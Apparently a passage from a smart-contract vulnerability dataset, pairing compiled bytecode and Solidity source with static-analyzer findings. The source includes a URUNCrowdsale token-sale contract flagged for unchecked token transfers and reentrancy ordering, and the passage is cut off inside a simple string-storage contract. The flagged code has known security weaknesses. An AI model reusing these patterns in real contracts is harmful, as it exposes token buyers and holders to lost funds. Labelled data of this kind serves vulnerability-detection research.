0081518110611f19577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600181518110611fb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461226757601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461226657600367ffffffffffffffff8111156120b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120e15781602001602082028036833780820191505090505b509150838260008151811061211f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508082600181518110612194577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260028151811061222b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b5b8192505050919050565b612279612fec565b60026000600981106122b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600302016000600381106122f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0154821015801561237a57506002600160098110612338577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612375577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b156124015760026000600981106123ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600302016003806020026040519081016040528092919082600380156123f5576020028201915b8154815260200190600101908083116123e1575b50505050509050612fb9565b600260016009811061243c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612479577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482101580156125015750600280600981106124bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600302016000600381106124fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b15612588576002600160098110612541577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6003020160038060200260405190810160405280929190826003801561257c576020028201915b815481526020019060010190808311612568575b50505050509050612fb9565b600280600981106125c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600302016000600381106125ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0154821015801561268857506002600360098110612646577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612683577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b1561270e57600280600981106126c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612702576020028201915b8154815260200190600101908083116126ee575b50505050509050612fb9565b6002600360098110612749577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612786577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0154821015801561280f575060026004600981106127cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6003020160006003811061280a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b1561289657600260036009811061284f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6003020160038060200260405190810160405280929190826003801561288a576020028201915b815481526020019060010190808311612876575b50505050509050612fb9565b60026004600981106128d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6003020160006003811061290e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0154821015801561299757506002600560098110612955577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612992577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b15612a1e5760026004600981106129d7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612a12576020028201915b8154815260200190600101908083116129fe575b50505050509050612fb9565b6002600560098110612a59577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612a96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01548210158015612b1f57506002600660098110612add577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612b1a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b15612ba6576002600560098110612b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612b9a576020028201915b815481526020019060010190808311612b86575b50505050509050612fb9565b6002600660098110612be1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612c1e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01548210158015612ca757506002600760098110612c65577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612ca2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b15612d2e576002600660098110612ce7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612d22576020028201915b815481526020019060010190808311612d0e575b50505050509050612fb9565b6002600760098110612d69577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612da6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01548210158015612e2f57506002600860098110612ded577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612e2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b015482105b15612eb6576002600760098110612e6f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612eaa576020028201915b815481526020019060010190808311612e96575b50505050509050612fb9565b6002600860098110612ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600060038110612f2e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b01548210612fb8576002600860098110612f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015612fac576020028201915b815481526020019060010190808311612f98575b50505050509050612fb9565b5b919050565b6040518061012001604052806009905b612fd6612fec565b815260200190600190039081612fce5790505090565b6040518060600160405280600390602082028036833780820191505090505090565b826003810192821561303d579160200282015b8281111561303c578251825591602001919060010190613021565b5b50905061304a919061309f565b5090565b826009600302810192821561308e579160200282015b8281111561308d5782518290600361307d92919061300e565b5091602001919060030190613064565b5b50905061309b91906130bc565b5090565b5b808211156130b85760008160009055506001016130a0565b5090565b5b808211156130dc57600081816130d391906130e0565b506003016130bd565b5090565b50600081556001016000815560010160009055565b600061310861310384613c9c565b613c77565b9050808382526020820190508285602086028201111561312757600080fd5b60005b85811015613157578161313d88826132ff565b84526020840193506020830192505060018101905061312a565b5050509392505050565b600061317461316f84613cc8565b613c77565b9050808285606086028201111561318a57600080fd5b60005b858110156131ba57816131a0888261338f565b84526020840193506060830192505060018101905061318d565b5050509392505050565b60006131d76131d284613cee565b613c77565b905080828560208602820111156131ed57600080fd5b60005b8581101561321d57816132038882613449565b8452602084019350602083019250506001810190506131f0565b5050509392505050565b600061323a61323584613d14565b613c77565b9050808382526020820190508285602086028201111561325957600080fd5b60005b85811015613289578161326f8882613449565b84526020840193506020830192505060018101905061325c565b5050509392505050565b60006132a66132a184613d14565b613c77565b905080838252602082019050828560208602820111156132c557600080fd5b60005b858110156132f557816132db888261345e565b8452602084019350602083019250506001810190506132c8565b5050509392505050565b60008135905061330e816141e0565b92915050565b600081519050613323816141e0565b92915050565b600081359050613338816141f7565b92915050565b600082601f83011261334f57600080fd5b813561335f8482602086016130f5565b91505092915050565b600082601f83011261337957600080fd5b6009613386848285613161565b91505092915050565b600082601f8301126133a057600080fd5b60036133ad8482856131c4565b91505092915050565b600082601f8301126133c757600080fd5b81356133d7848260208601613227565b91505092915050565b600082601f8301126133f157600080fd5b8151613401848260208601613293565b91505092915050565b6000815190506134198161420e565b92915050565b60008135905061342e81614225565b92915050565b6000813590506134438161423c565b92915050565b60008135905061345881614253565b92915050565b60008151905061346d81614253565b92915050565b60006020828403121561348557600080fd5b6000613493848285016132ff565b91505092915050565b6000602082840312156134ae57600080fd5b60006134bc84828501613314565b91505092915050565b6000602082840312156134d757600080fd5b60006134e584828501613329565b91505092915050565b6000806040838503121561350157600080fd5b600061350f858286016132ff565b925050602061352085828601613449565b9150509250929050565b6000806040838503121561353d57600080fd5b600083013567ffffffffffffffff81111561355757600080fd5b6135638582860161333e565b925050602083013567ffffffffffffffff81111561358057600080fd5b61358c858286016133b6565b9150509250929050565b600061036082840312156135a957600080fd5b60006135b784828501613368565b91505092915050565b6000602082840312156135d257600080fd5b600082015167ffffffffffffffff8111156135ec57600080fd5b6135f8848285016133e0565b91505092915050565b60006020828403121561361357600080fd5b60006136218482850161340a565b91505092915050565b60006020828403121561363c57600080fd5b600061364a8482850161341f565b91505092915050565b60008060006060848603121561366857600080fd5b60006136768682870161341f565b9350506020613687868287016132ff565b925050604061369886828701613449565b9150509250925092565b6000602082840312156136b457600080fd5b60006136c284828501613434565b91505092915050565b6000602082840312156136dd57600080fd5b60006136eb84828501613449565b91505092915050565b60006020828403121561370657600080fd5b60006137148482850161345e565b91505092915050565b6000806040838503121561373057600080fd5b600061373e85828601613449565b925050602061374f858286016132ff565b9150509250929050565b6000806080838503121561376c57600080fd5b600061377a85828601613449565b925050602061378b8582860161338f565b9150509250929050565b600080604083850312156137a857600080fd5b60006137b685828601613449565b92505060206137c785828601613449565b9150509250929050565b60006137dd8383613819565b60208301905092915050565b60006137f583836138ec565b60608301905092915050565b600061380d8383613a76565b60208301905092915050565b61382281613f0f565b82525050565b61383181613f0f565b82525050565b600061384282613d64565b61384c8185613dac565b935061385783613d40565b8060005b8381101561388857815161386f88826137d1565b975061387a83613d85565b92505060018101905061385b565b5085935050505092915050565b61389e81613d6f565b6138a88184613dbd565b92506138b382613d50565b8060005b838110156138e45781516138cb87826137e9565b96506138d683613d92565b9250506001810190506138b7565b505050505050565b6138f581613d7a565b6138ff8184613dc8565b925061390a82613d5a565b8060005b8381101561393b5781516139228782613801565b965061392d83613d9f565b92505060018101905061390e565b505050505050565b61394c81613d7a565b6139568184613dd3565b925061396182613d5a565b8060005b838110156139925781516139798782613801565b965061398483613d9f565b925050600181019050613965565b505050505050565b6139a381613f33565b82525050565b6139b281613f8d565b82525050565b6139c181613fb1565b82525050565b60006139d4602683613de9565b91506139df826140ed565b604082019050919050565b60006139f7603a83613de9565b9150613a028261413c565b604082019050919050565b6000613a1a601d83613de9565b9150613a258261418b565b602082019050919050565b6000613a3d602083613de9565b9150613a48826141b4565b602082019050919050565b6000613a60600083613dde565b9150613a6b826141dd565b600082019050919050565b613a7f81613f83565b82525050565b613a8e81613f83565b82525050565b6000613a9f82613a53565b9150819050919050565b6000602082019050613abe6000830184613828565b92915050565b6000606082019050613ad96000830186613828565b613ae66020830185613828565b613af36040830184613a85565b949350505050565b6000604082019050613b106000830185613828565b613b1d6020830184613a85565b9392505050565b600061036082019050613b3a6000830184613895565b92915050565b6000606082019050613b556000830184613943565b92915050565b6000602082019050613b70600083018461399a565b92915050565b6000602082019050613b8b60008301846139a9565b92915050565b6000602082019050613ba660008301846139b8565b92915050565b60006020820190508181036000830152613bc5816139c7565b9050919050565b60006020820190508181036000830152613be5816139ea565b9050919050565b60006020820190508181036000830152613c0581613a0d565b9050919050565b60006020820190508181036000830152613c2581613a30565b9050919050565b6000602082019050613c416000830184613a85565b92915050565b6000604082019050613c5c6000830185613a85565b8181036020830152613c6e8184613837565b90509392505050565b6000613c81613c92565b9050613c8d8282613fd5565b919050565b6000604051905090565b600067ffffffffffffffff821115613cb757613cb66140ad565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613ce357613ce26140ad565b5b602082029050919050565b600067ffffffffffffffff821115613d0957613d086140ad565b5b602082029050919050565b600067ffffffffffffffff821115613d2f57613d2e6140ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050919050565b6000819050919050565b600081519050919050565b600060099050919050565b600060039050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600081905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b6000613e0582613f83565b9150613e1083613f83565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e4557613e4461404f565b5b828201905092915050565b6000613e5b82613f83565b9150613e6683613f83565b925082613e7657613e7561407e565b5b828204905092915050565b6000613e8c82613f83565b9150613e9783613f83565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ed057613ecf61404f565b5b828202905092915050565b6000613ee682613f83565b9150613ef183613f83565b925082821015613f0457613f0361404f565b5b828203905092915050565b6000613f1a82613f63565b9050919050565b6000613f2c82613f63565b9050919050565b60008115159050919050565b6000613f4a82613f0f565b9050919050565b6000613f5c82613f0f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000613f9882613f9f565b9050919050565b6000613faa82613f63565b9050919050565b6000613fbc82613fc3565b9050919050565b6000613fce82613f63565b9050919050565b613fde826140dc565b810181811067ffffffffffffffff82111715613ffd57613ffc6140ad565b5b80604052505050565b600061401182613f83565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140445761404361404f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b6141e981613f0f565b81146141f457600080fd5b50565b61420081613f21565b811461420b57600080fd5b50565b61421781613f33565b811461422257600080fd5b50565b61422e81613f3f565b811461423957600080fd5b50565b61424581613f51565b811461425057600080fd5b50565b61425c81613f83565b811461426757600080fd5b5056fea26469706673582212207f5efa1f617d01ab5066fd31858262c55236e688dada9f227d1034598027e60764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,231
0x21a5aba1e6e4dfbf6856d983b9b94e3876aefa9c
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenInterface { function totalSupply() external constant returns (uint); function balanceOf(address tokenOwner) external constant returns (uint balance); function allowance(address tokenOwner, address spender) external constant returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); function burn(uint256 _value) external; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed burner, uint256 value); } contract URUNCrowdsale is Ownable{ using SafeMath for uint256; // The token being sold TokenInterface public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // how many token units a buyer gets per wei uint256 public ratePerWei = 800; // amount of raised money in wei uint256 public weiRaised; uint256 public TOKENS_SOLD; uint256 minimumContributionPresalePhase1 = 2 * 10 ** 18; //2 eth is the minimum contribution in presale phase 1 uint256 minimumContributionPresalePhase2 = 1 * 10 ** 18; //1 eth is the minimum contribution in presale phase 2 uint256 maxTokensToSaleInClosedPreSale; uint256 bonusInPreSalePhase1; uint256 bonusInPreSalePhase2; bool isCrowdsalePaused = false; uint256 totalDurationInDays = 31 days; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor(uint256 _startTime, address _wallet, address _tokenAddress) public { require(_wallet != 0x0); require(_startTime >=now); startTime = _startTime; endTime = startTime + totalDurationInDays; require(endTime >= startTime); owner = _wallet; maxTokensToSaleInClosedPreSale = 60000000 * 10 ** 18; bonusInPreSalePhase1 = 50; bonusInPreSalePhase2 = 40; token = TokenInterface(_tokenAddress); } // fallback function can be used to buy tokens function () public payable { buyTokens(msg.sender); } function determineBonus(uint tokens) internal view returns (uint256 bonus) { uint256 timeElapsed = now - startTime; uint256 timeElapsedInDays = timeElapsed.div(1 days); //Closed pre-sale phase 1 (15 days) if (timeElapsedInDays <15) { bonus = tokens.mul(bonusInPreSalePhase1); bonus = bonus.div(100); require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale); } //Closed pre-sale phase 2 (16 days) else if (timeElapsedInDays >=15 && timeElapsedInDays <31) { bonus = tokens.mul(bonusInPreSalePhase2); bonus = bonus.div(100); require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale); } else { bonus = 0; } } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(isCrowdsalePaused == false); require(validPurchase()); require(isWithinContributionRange()); require(TOKENS_SOLD<maxTokensToSaleInClosedPreSale); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(ratePerWei); uint256 bonus = determineBonus(tokens); tokens = tokens.add(bonus); // update state weiRaised = weiRaised.add(weiAmount); token.transfer(beneficiary,tokens); emit TokenPurchase(owner, beneficiary, weiAmount, tokens); TOKENS_SOLD = TOKENS_SOLD.add(tokens); forwardFunds(); } // send ether to the fund collection wallet function forwardFunds() internal { owner.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } /** * function to change the end timestamp of the ico * can only be called by owner wallet **/ function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{ endTime = endTimeUnixTimestamp; } /** * function to change the start timestamp of the ico * can only be called by owner wallet **/ function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{ startTime = startTimeUnixTimestamp; } /** * function to change the rate of tokens * can only be called by owner wallet **/ function setPriceRate(uint256 newPrice) public onlyOwner { ratePerWei = newPrice; } /** * function to pause the crowdsale * can only be called from owner wallet **/ function pauseCrowdsale() public onlyOwner { isCrowdsalePaused = true; } /** * function to resume the crowdsale if it is paused * can only be called from owner wallet **/ function resumeCrowdsale() public onlyOwner { isCrowdsalePaused = false; } /** * function to check whether the sent amount is within contribution range or not **/ function isWithinContributionRange() internal constant returns (bool) { uint timePassed = now.sub(startTime); timePassed = timePassed.div(1 days); if (timePassed<15) require(msg.value>=minimumContributionPresalePhase1); else if (timePassed>=15 && timePassed<31) require(msg.value>=minimumContributionPresalePhase2); else revert(); // off time - no sales during other time periods return true; } /** * function through which owner can take back the tokens from the contract **/ function takeTokensBack() public onlyOwner { uint remainingTokensInTheContract = token.balanceOf(address(this)); token.transfer(owner,remainingTokensInTheContract); } /** * function through which owner can transfer the tokens to any address * use this which to properly display the tokens that have been sold via ether or other payments **/ function manualTokenTransfer(address receiver, uint value) public onlyOwner { value = value * 10 ** 18; token.transfer(receiver,value); TOKENS_SOLD = TOKENS_SOLD.add(value); } }
0x6080604052600436106100ef5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662739f2a81146100fa5780630c8f167e146101125780633197cbb6146101395780634042b66f1461014e57806345737b1e1461016357806358c6f08b1461017b5780636786ed0e1461019057806378e97925146101a85780637c359dc3146101bd5780638da5cb5b146101e1578063a8351c0314610212578063bc7c322c14610227578063ec8ac4d81461023c578063ecb70fb714610250578063f2fde38b14610279578063f6a60d891461029a578063fc0c546a146102af575b6100f8336102c4565b005b34801561010657600080fd5b506100f8600435610478565b34801561011e57600080fd5b50610127610498565b60408051918252519081900360200190f35b34801561014557600080fd5b5061012761049e565b34801561015a57600080fd5b506101276104a4565b34801561016f57600080fd5b506100f86004356104aa565b34801561018757600080fd5b506100f86104ca565b34801561019c57600080fd5b506100f860043561061e565b3480156101b457600080fd5b5061012761063e565b3480156101c957600080fd5b506100f8600160a060020a0360043516602435610644565b3480156101ed57600080fd5b506101f6610721565b60408051600160a060020a039092168252519081900360200190f35b34801561021e57600080fd5b506100f8610730565b34801561023357600080fd5b5061012761075a565b6100f8600160a060020a03600435166102c4565b34801561025c57600080fd5b50610265610760565b604080519115158252519081900360200190f35b34801561028557600080fd5b506100f8600160a060020a0360043516610768565b3480156102a657600080fd5b506100f8610800565b3480156102bb57600080fd5b506101f6610827565b60008080600160a060020a03841615156102dd57600080fd5b600c5460ff16156102ed57600080fd5b6102f5610836565b151561030057600080fd5b610308610866565b151561031357600080fd5b6009546006541061032357600080fd5b60045434935061033a90849063ffffffff6108e416565b91506103458261091a565b9050610357828263ffffffff6109d616565b60055490925061036d908463ffffffff6109d616565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156103df57600080fd5b505af11580156103f3573d6000803e3d6000fd5b505050506040513d602081101561040957600080fd5b505060005460408051858152602081018590528151600160a060020a038089169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600654610467908363ffffffff6109d616565b6006556104726109e5565b50505050565b60005433600160a060020a0390811691161461049357600080fd5b600255565b60065481565b60035481565b60055481565b60005433600160a060020a039081169116146104c557600080fd5b600355565b6000805433600160a060020a039081169116146104e657600080fd5b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a033081166004830152915191909216916370a082319160248083019260209291908290030181600087803b15801561054e57600080fd5b505af1158015610562573d6000803e3d6000fd5b505050506040513d602081101561057857600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156105ef57600080fd5b505af1158015610603573d6000803e3d6000fd5b505050506040513d602081101561061957600080fd5b505050565b60005433600160a060020a0390811691161461063957600080fd5b600455565b60025481565b60005433600160a060020a0390811691161461065f57600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152670de0b6b3a764000090940260248201819052915191939092169163a9059cbb9160448083019260209291908290030181600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b505060065461071a908263ffffffff6109d616565b6006555050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461074b57600080fd5b600c805460ff19166001179055565b60045481565b600354421190565b60005433600160a060020a0390811691161461078357600080fd5b600160a060020a038116151561079857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461081b57600080fd5b600c805460ff19169055565b600154600160a060020a031681565b6000806000600254421015801561084f57506003544211155b91505034151581801561085f5750805b9250505090565b60008061087e60025442610a2290919063ffffffff16565b9050610893816201518063ffffffff610a3416565b9050600f8110156108b2576007543410156108ad57600080fd5b6108dc565b600f81101580156108c35750601f81105b156108d7576008543410156108ad57600080fd5b600080fd5b600191505090565b6000808315156108f75760009150610913565b5082820282848281151561090757fe5b041461090f57fe5b8091505b5092915050565b600254600090420381610936826201518063ffffffff610a3416565b9050600f8110156109a057600a5461095590859063ffffffff6108e416565b925061096883606463ffffffff610a3416565b600954909350610990610981868663ffffffff6109d616565b6006549063ffffffff6109d616565b111561099b57600080fd5b6109cf565b600f81101580156109b15750601f81105b156109ca57600b5461095590859063ffffffff6108e416565b600092505b5050919050565b60008282018381101561090f57fe5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610a1f573d6000803e3d6000fd5b50565b600082821115610a2e57fe5b50900390565b6000808284811515610a4257fe5b049493505050505600a165627a7a72305820d59f1acd79e64344f67a6723720218adf843d4ca277a9a1dae9eb6bd590fd2670029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,232
0x8c1fdbdc6639923965b23d4d010245dcaf8f1cdb
pragma solidity ^0.4.8 ; contract PI_EDIT_1 { address owner ; function PI_EDIT_1 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_1 = " une première phrase " ; function setPI_edit_1 ( string newPI_edit_1 ) public onlyOwner { inPI_edit_1 = newPI_edit_1 ; } function getPI_edit_1 () public constant returns ( string ) { return inPI_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_2 = " une première phrase " ; function setPI_edit_2 ( string newPI_edit_2 ) public onlyOwner { inPI_edit_2 = newPI_edit_2 ; } function getPI_edit_2 () public constant returns ( string ) { return inPI_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_3 = " une première phrase " ; function setPI_edit_3 ( string newPI_edit_3 ) public onlyOwner { inPI_edit_3 = newPI_edit_3 ; } function getPI_edit_3 () public constant returns ( string ) { return inPI_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_4 = " une première phrase " ; function setPI_edit_4 ( string newPI_edit_4 ) public onlyOwner { inPI_edit_4 = newPI_edit_4 ; } function getPI_edit_4 () public constant returns ( string ) { return inPI_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_5 = " une première phrase " ; function setPI_edit_5 ( string newPI_edit_5 ) public onlyOwner { inPI_edit_5 = newPI_edit_5 ; } function getPI_edit_5 () public constant returns ( string ) { return inPI_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_6 = " une première phrase " ; function setPI_edit_6 ( string newPI_edit_6 ) public onlyOwner { inPI_edit_6 = newPI_edit_6 ; } function getPI_edit_6 () public constant returns ( string ) { return inPI_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_7 = " une première phrase " ; function setPI_edit_7 ( string newPI_edit_7 ) public onlyOwner { inPI_edit_7 = newPI_edit_7 ; } function getPI_edit_7 () public constant returns ( string ) { return inPI_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_8 = " une première phrase " ; function setPI_edit_8 ( string newPI_edit_8 ) public onlyOwner { inPI_edit_8 = newPI_edit_8 ; } function getPI_edit_8 () public constant returns ( string ) { return inPI_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_9 = " une première phrase " ; function setPI_edit_9 ( string newPI_edit_9 ) public onlyOwner { inPI_edit_9 = newPI_edit_9 ; } function getPI_edit_9 () public constant returns ( string ) { return inPI_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_10 = " une première phrase " ; function setPI_edit_10 ( string newPI_edit_10 ) public onlyOwner { inPI_edit_10 = newPI_edit_10 ; } function getPI_edit_10 